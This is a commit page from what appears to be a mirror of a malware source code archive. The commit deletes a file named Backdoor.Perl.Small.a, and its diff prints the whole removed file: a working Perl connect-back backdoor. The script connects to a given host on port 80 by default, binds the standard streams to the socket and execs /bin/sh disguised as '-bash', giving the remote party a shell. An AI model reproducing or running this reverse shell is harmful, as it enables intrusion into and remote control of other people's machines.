ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2025-01-31 14:27:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Delete Backdoor.Perl.Small.a

Browse Source 
na
This commit is contained in:
vxunderground 2020-11-14 01:06:48 -06:00 committed by GitHub
parent 5c92dc052a
commit f63934fdc5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 46 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

46
Perl/Backdoor.Perl.Small.a
View File

@ -1,46 +0,0 @@
# Backdoor - Perl Connect Back Backdoor
# Unpublished/Unreleased Source Code
use Socket;
print "Backdoor ! bypassing Firewalls\n\n";
if (!$ARGV[0]) {
printf "Uso: $0 [Host] <Puerto>\n";
exit(1);
}
print "[*] Espere ...\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
$port = $ARGV[1];
}
print "[*] Conectando...\n";
$proto = getprotobyname('tcp') || die("[-] Protocolo Desconocido\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Error Socket\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("[-] Imposible Conectar\n");
}
print "[*] Cargando Shell...\n";
if (!fork( )) {
open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
exec {'/bin/sh'} '-bash' . "\0" x 4;
exit(0);
}
print "[*] Cargada a joder!\n\n";